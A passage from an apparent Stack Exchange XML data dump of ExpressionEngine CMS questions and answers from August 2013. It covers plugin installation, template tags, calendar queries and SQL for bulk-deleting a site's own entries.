rel=&quot;nofollow&quot;&gt;http://domain.com/fr/test&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this method about 6 months ago so not sure about the exact code to share with you. Although, I hope it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-27T04:23:52.103" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13171" PostTypeId="2" ParentId="13138" CreationDate="2013-08-27T05:48:45.870" Score="5" Body="&lt;p&gt;Are you using www.SITE.com but your configs site url is set to 'site.com' or vice versa while also using a www redirect? This is a common error as 'www' is a subdomain and posting to non-www will fire the redirect, which loses all post vars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, are you caching the form? You shouldn't cache forms as they use unique XID hashes for security and once they are used from a single POST, they have to be regenerated.&lt;/p&gt;&#xA;" OwnerDisplayName="user550" LastActivityDate="2013-08-27T05:48:45.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13172" PostTypeId="2" ParentId="13061" CreationDate="2013-08-27T06:36:54.030" Score="2" Body="&lt;p&gt;There are two ways I can think of to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first would be to actually make your &quot;custom color price&quot; a whole separate product. Since you can add multiple products to the cart at once, you could let the customer choose a custom color, and add this (with a qty of 1) to the cart along with the correct # of cards. If your customer usually only order one product at a time then this would be a reasonable solution, because your customers will see the qty of items they ordered, plus a surcharge for the custom color in their cart. However, if each product has a different custom color surcharge then it could get a bit out of hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second solution is to write an extension. Explaining the basics of extension development is out of scope for this answer, but if you're familiar with it (or have a PHP developer at your disposal), you can use the &lt;a href=&quot;https://exp-resso.com/docs/store/extension_hooks.html#store_cart_item_update_end&quot; rel=&quot;nofollow&quot;&gt;store_cart_item_update_end&lt;/a&gt; hook to reset the item price every time the cart is updated. With this method you could use a custom field to store the &quot;setup price&quot; and &quot;custom color price&quot; for each product, and then query these and update the cart price based on any modifiers selected for that product.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-08-27T06:36:54.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13173" PostTypeId="2" ParentId="12875" CreationDate="2013-08-27T08:39:44.167" Score="1" Body="&lt;p&gt;Turns out the problem was with the web host, 1&amp;amp;1. They didn't want to disclose what they did to cause or fix the problem, but it is now sorted. &lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2013-08-27T08:39:44.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13174" PostTypeId="2" ParentId="13165" CreationDate="2013-08-27T09:14:22.840" Score="1" Body="&lt;p&gt;The search condition would never match as {date} and {current_time} both output the UNIX Time (number of seconds since 1 January 1970). You would need to have IF condition with MATRIX variable tag like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{schedule orderby=&quot;date&quot; sort=&quot;asc&quot;}&#xA;&#xA;{if &quot;{date format='%Y%m%d'}&quot; == &quot;{current_time format='%Y%m%d'}&quot;}&#xA;&#xA;{!-- Put other tags here --}&#xA;&#xA;{/if}&#xA;&#xA;{/schedule}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastEditorUserId="20" LastEditDate="2013-08-27T13:03:03.027" LastActivityDate="2013-08-27T13:03:03.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13175" PostTypeId="1" CreationDate="2013-08-27T10:04:22.767" Score="1" ViewCount="24" Body="&lt;p&gt;I created a simple member's area, where people can login and download PDFs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I created the new member group, create a new member, and login as them – &lt;strong&gt;all&lt;/strong&gt; file paths are disappearing on the front-end, meaning while the new member's login session is active, no path links are displaying when viewing the site/templates, in any sections. All other tags are coming out as normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original paths are in a file field in a Matrix row – but I also created a basic file field to test (native), but still it is not showing paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find any occurrences or similar problems to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I am logged in as Super Admin all is working as expected, it is &lt;strong&gt;only&lt;/strong&gt; when I login as a member from this new member group, file paths disappear on front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on EE v 2.5.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;Glen&lt;/p&gt;&#xA;" OwnerUserId="1955" LastActivityDate="2013-09-26T15:46:56.320" Title="File path disappears when logged in" Tags="|ee2|members|files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13176" PostTypeId="1" CreationDate="2013-08-27T10:58:09.170" Score="1" ViewCount="89" Body="&lt;p&gt;I've got an MSM installation where I need to clone &lt;strong&gt;Control Panel 'Publish' layouts&lt;/strong&gt; for site A to site B, for channels and corresponding field groups that have already been duplicated from site A to site B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked in to cloning the layouts directly in &lt;strong&gt;exp_layout_publish&lt;/strong&gt; but, with about 100 fields in the main field group used, the minified JSON way that layouts are defined is kind of daunting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes me wonder if it wouldn't be more robust just to recreate the layouts manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless, that is, anyone can suggest something better. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience and advice they can offer with the following in EE 2.6.x (ideally with an MSM setup):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-tool-box&quot; rel=&quot;nofollow&quot;&gt;MX Toolbox&lt;/a&gt; (free): but has &lt;a href=&quot;http://www.eec.ms/forums/viewthread/22/P15/#2155&quot; rel=&quot;nofollow&quot;&gt;2.6.x issues&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/clone-layout-module&quot; rel=&quot;nofollow&quot;&gt;Clone Layout Module&lt;/a&gt; (free): Kind of recommends using MX Toolbox&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/blueprints&quot; rel=&quot;nofollow&quot;&gt;Blueprints&lt;/a&gt; ($45)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any insights would be most welcome.&lt;/p&gt;&#xA;" OwnerUserId="354" LastEditorUserId="354" LastEditDate="2013-08-27T12:09:26.453" LastActivityDate="2013-08-27T12:09:26.453" Title="What are recommended methods/tools for cloning Control Panel layouts?" Tags="|control-panel|publish-layout|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13177" PostTypeId="1" AcceptedAnswerId="13196" CreationDate="2013-08-27T11:00:26.323" Score="0" ViewCount="50" Body="&lt;p&gt;Is there a way in the control panel to differentiate between channel entries that have the same title? We have a 'related course' field that looks at courses and have several 'science' courses that are further defined by category but there's no way to see this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need to be able to choose any course but also see its category.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-08-27T17:41:42.407" Title="Differentiate Playa entries" Tags="|playa|pixelandtonic|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13178" PostTypeId="2" ParentId="13098" CreationDate="2013-08-27T12:41:04.180" Score="0" Body="&lt;p&gt;Can you try a really simple contact form, name, email with out anything else in the template so we can make sure FF is functioning properly with out any other scripts potentially effecting the behavior?&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-27T12:41:04.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13179" PostTypeId="2" ParentId="13093" CreationDate="2013-08-27T12:49:41.530" Score="0" Body="&lt;p&gt;If you run just your embed template stand alone, does it return the results you are expecting.&#xA;You may have to remove the &quot;.&quot; in front of it.&#xA;Try renaming your variable to user_email so there is no potential conflict.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-27T12:49:41.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13180" PostTypeId="2" ParentId="13131" CreationDate="2013-08-27T12:52:05.963" Score="1" Body="&lt;p&gt;Yes you can call relationships inside calendar events.&#xA;You need to follow the correct syntax just as if this were a regular calendar:entries tag.&#xA;ref &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-27T12:52:05.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13181" PostTypeId="2" ParentId="13175" CreationDate="2013-08-27T12:52:52.720" Score="1" Body="&lt;p&gt;Sounds like a permissions issue with your upload folders. Make sure in file manager &gt; file upload preferences  that your new member group has access.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-08-27T12:52:52.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13182" PostTypeId="2" ParentId="13035" CreationDate="2013-08-27T13:38:44.480" Score="0" Body="&lt;p&gt;I didn't have a chance to test this, and make sure you have php enabled on your template, but try something like what is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $prev_channel = &quot;&quot;; ?&amp;gt;&#xA;&#xA;{exp:super_search:results orderby=&quot;channel_name&quot; paginate=&quot;both&quot; limit=&quot;10&quot;}&#xA;&#xA;{if channel_name != &quot;&amp;lt;?php echo $prev_name?&amp;gt;&quot;}&#xA;    {channel_name}&amp;lt;br/&amp;gt;&#xA;{/if}&#xA;{title} &amp;lt;br/&amp;gt;&#xA;{paginate}&amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;{/paginate}&#xA;&amp;lt;?php $prev_name = {channel_name}; ?&amp;gt;&#xA;&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2013-08-27T13:38:44.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13183" PostTypeId="2" ParentId="13050" CreationDate="2013-08-27T13:44:56.787" Score="4" Body="&lt;p&gt;For our FreeForm forms, we use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:captcha}&#xA;      {freeform:captcha}&amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; style=&quot;width:140px;&quot; /&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2013-08-27T13:44:56.787" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13184" PostTypeId="1" AcceptedAnswerId="13185" CreationDate="2013-08-27T14:24:25.680" Score="2" ViewCount="449" Body="&lt;p&gt;I copied an online example exactly, named it appropriately, placed it in the plugin folder, and (I think) changed the location attribute to match the other plugins in my plugin folder. The code is below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File Name: &lt;code&gt;pi.auto_acronym.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;    $plugin_info       = array(  &#xA;    'pi_name'        =&amp;gt; 'Auto Acronym',  &#xA;    'pi_version'     =&amp;gt; '1.0',  &#xA;    'pi_author'      =&amp;gt; 'John G',  &#xA;    'pi_author_url'  =&amp;gt; 'http://google.com',  &#xA;    'pi_description' =&amp;gt; 'Automatically wraps certain acronyms in the HTML &amp;lt;acronym&amp;gt; tag',  &#xA;    'pi_usage'       =&amp;gt; Auto_acronym::usage()  &#xA;    );  &#xA;&#xA;class Auto_acronym{  &#xA;    function Auto_acronym(){  &#xA;    }  &#xA;    // ----------------------------------------  &#xA;    //  Plugin Usage  &#xA;    // ----------------------------------------  &#xA;    function usage()  {  &#xA;        ob_start();   &#xA;        ?&amp;gt;  &#xA;        This is where our simplified documentation will go  &#xA;        &amp;lt;?php  &#xA;        $buffer = ob_get_contents();  &#xA;        ob_end_clean();   &#xA;        return $buffer;  &#xA;    }  &#xA;}&#xA;/* End of file pi.auto_acronym.php */  &#xA;/* Location: ./system/expressionengine/plugins/pi.auto_acronym.php */  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This file is indeed placed in my &lt;code&gt;.\PROJECT_NAME\system\expressionengine\plugins&lt;/code&gt; folder. There are other plugins in the folder that came with the install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I just noticed that there is a missing '?&gt;' at the end of the plugin. I tried completing the block, but it still didn't work. I checked the other plugins, they too all have that missing closing php block. So that isn't the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2: Based off Rob Sanchez's suggestion, which solved my issue&lt;/strong&gt;. I moved my plugin to the third-party folder as follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File Name: &lt;code&gt;pi.auto_acronym.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;    $plugin_info       = array(  &#xA;    'pi_name'        =&amp;gt; 'Auto Acronym',  &#xA;    'pi_version'     =&amp;gt; '1.0',  &#xA;    'pi_author'      =&amp;gt; 'John G',  &#xA;    'pi_author_url'  =&amp;gt; 'http://google.com',  &#xA;    'pi_description' =&amp;gt; 'Automatically wraps certain acronyms in the HTML &amp;lt;acronym&amp;gt; tag',  &#xA;    'pi_usage'       =&amp;gt; Auto_acronym::usage()  &#xA;    );  &#xA;&#xA;class Auto_acronym{  &#xA;    function Auto_acronym(){  &#xA;    }  &#xA;    // ----------------------------------------  &#xA;    //  Plugin Usage  &#xA;    // ----------------------------------------  &#xA;    function usage()  {  &#xA;        ob_start();   &#xA;        ?&amp;gt;  &#xA;        This is where our simplified documentation will go  &#xA;        &amp;lt;?php  &#xA;        $buffer = ob_get_contents();  &#xA;        ob_end_clean();   &#xA;        return $buffer;  &#xA;    }  &#xA;}&#xA;/* End of file pi.auto_acronym.php */  &#xA;/* Location: ./system/expressionengine/third_party/auto_acronym/pi.auto_acronym.php */ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above file is placed in the &lt;code&gt;./PROJECT_NAME/system/expressionengine/third_party/auto_acronym/&lt;/code&gt; folder.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditDate="2013-08-27T15:12:48.710" LastActivityDate="2013-08-27T15:12:48.710" Title="My custom plugin won't install. Why?" Tags="|plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13185" PostTypeId="2" ParentId="13184" CreationDate="2013-08-27T14:37:24.510" Score="3" Body="&lt;p&gt;You need to make a folder in your &lt;code&gt;system/expressionengine/third_party&lt;/code&gt; folder called &lt;code&gt;auto_acronym&lt;/code&gt; and place your plugin file in there. &lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-08-27T14:37:24.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13186" PostTypeId="1" AcceptedAnswerId="13232" CreationDate="2013-08-27T15:05:44.937" Score="1" ViewCount="97" Body="&lt;p&gt;The EllisLab documentation on search results includes an interesting code snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table border=&quot;0&quot; cellpadding=&quot;6&quot; cellspacing=&quot;1&quot; width=&quot;100%&quot;&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;{lang:title}&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;{lang:excerpt}&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;{lang:author}&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;{lang:date}&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;{lang:total_comments}&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;{lang:recent_comments}&amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA; (...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/results.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/search/results.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find documentation on how to use &lt;code&gt;{lang:...}&lt;/code&gt; and where the values come from. Taking recent_comments as an example, I'm not finding it in any of the lang files. My attempt to take one from the English core_lang.php (&lt;code&gt;system_off_msg&lt;/code&gt;) didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? Was this just a placeholder in the documentation?&lt;/p&gt;&#xA;" OwnerUserId="1745" LastActivityDate="2013-08-28T12:37:24.847" Title="Does {lang:x} work?" Tags="|multi-language|multilingual|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13187" PostTypeId="1" AcceptedAnswerId="13191" CreationDate="2013-08-27T15:12:23.150" Score="2" ViewCount="241" Body="&lt;p&gt;Due to a data grab import that went a bit awry I find myself with approx 10000 entries that I don't want! They've all got a specific status. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently deleting them in batches but the most I can do is 200 at a time and it's getting a bit boring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a quick and safe way to delete them all - perhaps using SQL (but which leaves things clean and tidy)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's see if I can get an answer before I've finished manual deletion. :)&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-08-27T21:01:41.233" Title="Quick and safe way to delete all entries with a given status?" Tags="|entries|sql|delete|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13189" PostTypeId="2" ParentId="13187" CreationDate="2013-08-27T15:52:31.577" Score="0" Body="&lt;p&gt;SQL seems like the way to go. The hardest part would be to make sure that any add-ons you're using that have their own tables of entries get wiped out too. (such as Playa, Matrix, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond those special cases, the only tables you really have to worry about are exp_channel_titles, exp_channel_data and exp_category_posts and exp_relationships if you're using relationships.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-08-27T15:52:31.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13190" PostTypeId="2" ParentId="13159" CreationDate="2013-08-27T16:15:32.970" Score="1" Body="&lt;p&gt;This looks like an EE bug to me, I'd report it to EllisLab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error you are seeing comes from system/expressionengine/libraries/Core.php, on this line in the constructor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@set_time_limit((REQ == 'CP') ? 300 : 90);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, REQ isn't actually defined until the bootrap() method a bit further down:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function bootstrap()&#xA;{&#xA;    // Define the request type&#xA;    // Note: admin.php defines REQ=CP&#xA;    if ( ! defined('REQ'))&#xA;    {&#xA;        define('REQ', ((ee()-&amp;gt;input-&amp;gt;get_post('ACT') !== FALSE) ? 'ACTION' : 'PAGE')); &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So unless I'm missing something obvious, it seems correct to throw an error for accessing a constant before it has been defined. If this is a bug though, I'm surprised more people aren't reporting it.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-08-27T16:15:32.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13191" PostTypeId="2" ParentId="13187" CreationDate="2013-08-27T16:18:35.010" Score="3" Body="&lt;p&gt;This SQL will clean up both &lt;code&gt;exp_channel_titles&lt;/code&gt; and &lt;code&gt;exp_channel_data&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE exp_channel_titles, exp_channel_data &#xA;FROM exp_channel_titles&#xA;INNER JOIN exp_channel_data&#xA;ON exp_channel_data.entry_id = exp_channel_titles.entry_id&#xA;WHERE exp_channel_titles.channel_id = 5 &#xA;AND exp_channel_titles.status = 'your_custom_status'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace the channel_id and status as appropriate. But as Jeremy's answer says, you might need to consider other tables!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A related discussion is in &lt;a href=&quot;https://expressionengine.stackexchange.com/q/7648/22&quot;&gt;&quot;What is the best way to delete every entry in a channel?&quot;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-08-27T16:18:35.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13192" PostTypeId="2" ParentId="13187" CreationDate="2013-08-27T16:27:44.563" Score="0" Body="&lt;p&gt;As suggested, SQL is the &lt;em&gt;best&lt;/em&gt; way to do this in bulk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The query is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete exp_channel_titles, exp_channel_data&#xA;from exp_channel_titles&#xA;inner join exp_channel_data on exp_channel_data.entry_id=exp_channel_titles.entry_id &#xA;where exp_channel_titles.status=&quot;MyCustomStatus&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE: In my case I wasn't using any relationships or categories &lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-08-27T16:33:15.663" LastActivityDate="2013-08-27T16:33:15.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13193" PostTypeId="2" ParentId="13115" CreationDate="2013-08-27T16:44:01.530" Score="1" Body="&lt;p&gt;Turns out I was trying to outsmart the server by adding extra forward slashes. Removed those and it worked perfectly.&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2013-08-27T16:44:01.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13194" PostTypeId="1" CreationDate="2013-08-27T16:58:24.043" Score="1" ViewCount="65" Body="&lt;p&gt;Less of a question or more of an opportunity to see what other EE devs think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site I'm working on has a list of different City Markets and each Market has the same core pages like Directions &amp;amp; Parking, Admission &amp;amp; Policies, and Seating Policy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently we're using Structure to create each one of the core pages under the specific City Market. As we continue to expand though I think it's going to be a bit unwieldy to have all these pages on the backend especially when there's an edit that needs to happen across all the City Markets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought is that I create a Channel Field for each core page in the City Market Channel Entry. So Directions &amp;amp; Parking would be a field, Admissions &amp;amp; Policies would be a field, etc. Then I would use URL segment variables to designate which City Market Channel and which Channel Field to pull from to populate a core page in a City Market. So /austin/admissions would pull from the Admissions &amp;amp; Policies Channel Field in the Austin entry for City Markets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that make sense and if it does what do you think about the solution?&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2013-08-29T13:46:17.507" Title="Using Channel Field to populate an individual page" Tags="|structure|content|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13195" PostTypeId="1" AcceptedAnswerId="13229" CreationDate="2013-08-27T17:30:02.143" Score="1" ViewCount="151" Body="&lt;p&gt;I'm investigating a small issue on a site. I'm positive that my issue is just due to my inexperience with Solspace Calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the calendar:occurrence tag to display an event list per category. It seems to only be showing events that are recurring events, rather than any single occurrence events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the opening tag/code that I'm using: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:occurrences&#xA;orderby=&quot;event_start_date&quot;&#xA;sort=&quot;asc&quot;&#xA;date_range_start=&quot;today&quot;&#xA;date_range_end=&quot;6 months&quot;&#xA;upcoming_occurrences_limit=&quot;1&quot;&#xA;show_months=&quot;6&quot;&#xA;limit=&quot;3&quot;&#xA;dynamic=&quot;off&quot;&#xA;search:event_ministry=&quot;{embed:entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should I be using :calendar:events instead? We previously tried that but weren't able to get the repeating events to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2013-08-28T11:50:49.320" Title="Solspace Calendar occurrences" Tags="|solspace|calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13196" PostTypeId="2" ParentId="13177" CreationDate="2013-08-27T17:41:42.407" Score="0" Body="&lt;p&gt;You can hack Playa to show custom fields, etc.–the downside is that it displays that information for every Playa field. See more here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1529/filter-playa-list-by-custom-field&quot;&gt;Filter Playa List by Custom Field&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-08-27T17:41:42.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13197" PostTypeId="1" AcceptedAnswerId="13714" CreationDate="2013-08-27T17:56:57.243" Score="4" ViewCount="587" Body="&lt;p&gt;Is there a character limit on Wygwam / CKEditor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of our clients just tried to add a very, very long entry (65k characters or so) and it spit the bit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps PHPMemory running out as well?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-09-12T09:56:18.613" Title="Wygwam character limit?" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13198" PostTypeId="1" CreationDate="2013-08-27T18:21:01.637" Score="3" ViewCount="453" Body="&lt;p&gt;What's the best way to have an unformatted textarea field (meaning no &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; tags), but still allow the client to make text bold, italic, or add a link?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often have to put content into a specific element (&lt;code&gt;&amp;lt;p class=&quot;summary&quot;&amp;gt;&lt;/code&gt;, for example), so it can't be wrapped in its own &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags. And often for styling purposes the content can't have line breaks. But the content can still have bold or italic text or contain a link. Example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is an example of some summary text. &lt;strong&gt;Text can be bold&lt;/strong&gt;, or it can be &lt;em&gt;emphasized&lt;/em&gt;, and it can even &lt;a href=&quot;http://google.com&quot; rel=&quot;nofollow&quot;&gt;contain a link&lt;/a&gt; because these are all inline changes that don't affect layout.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there any client-friendly way (read: no html tags) to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-08-30T17:56:40.007" Title="Unformatted Textarea with Very Basic Text Styling" Tags="|custom-fields|wysiwyg|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13199" PostTypeId="2" ParentId="13198" CreationDate="2013-08-27T19:16:23.973" Score="3" Body="&lt;p&gt;Couple of suggestions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;have you looked into using Textile or Markdown for your textarea?&lt;/li&gt;&#xA;&lt;li&gt;use a div.summary instead of a p&lt;/li&gt;&#xA;&lt;li&gt;CE String has &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string/user-guide/custom_methods&quot; rel=&quot;nofollow&quot;&gt;methods&lt;/a&gt; to strip out tags from html, check  &lt;code&gt;remove_tags&lt;/code&gt; or &lt;code&gt;remove_tags_except&lt;/code&gt; &lt;em&gt;(I use this a lot personally - lots of other useful methods too in this plugin)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Wygwam has a &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/templating/field.html#text-only-mode&quot; rel=&quot;nofollow&quot;&gt;text-only mode&lt;/a&gt; that can be useful.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="64" LastEditorUserId="27" LastEditDate="2013-08-28T09:44:53.637" LastActivityDate="2013-08-28T09:44:53.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
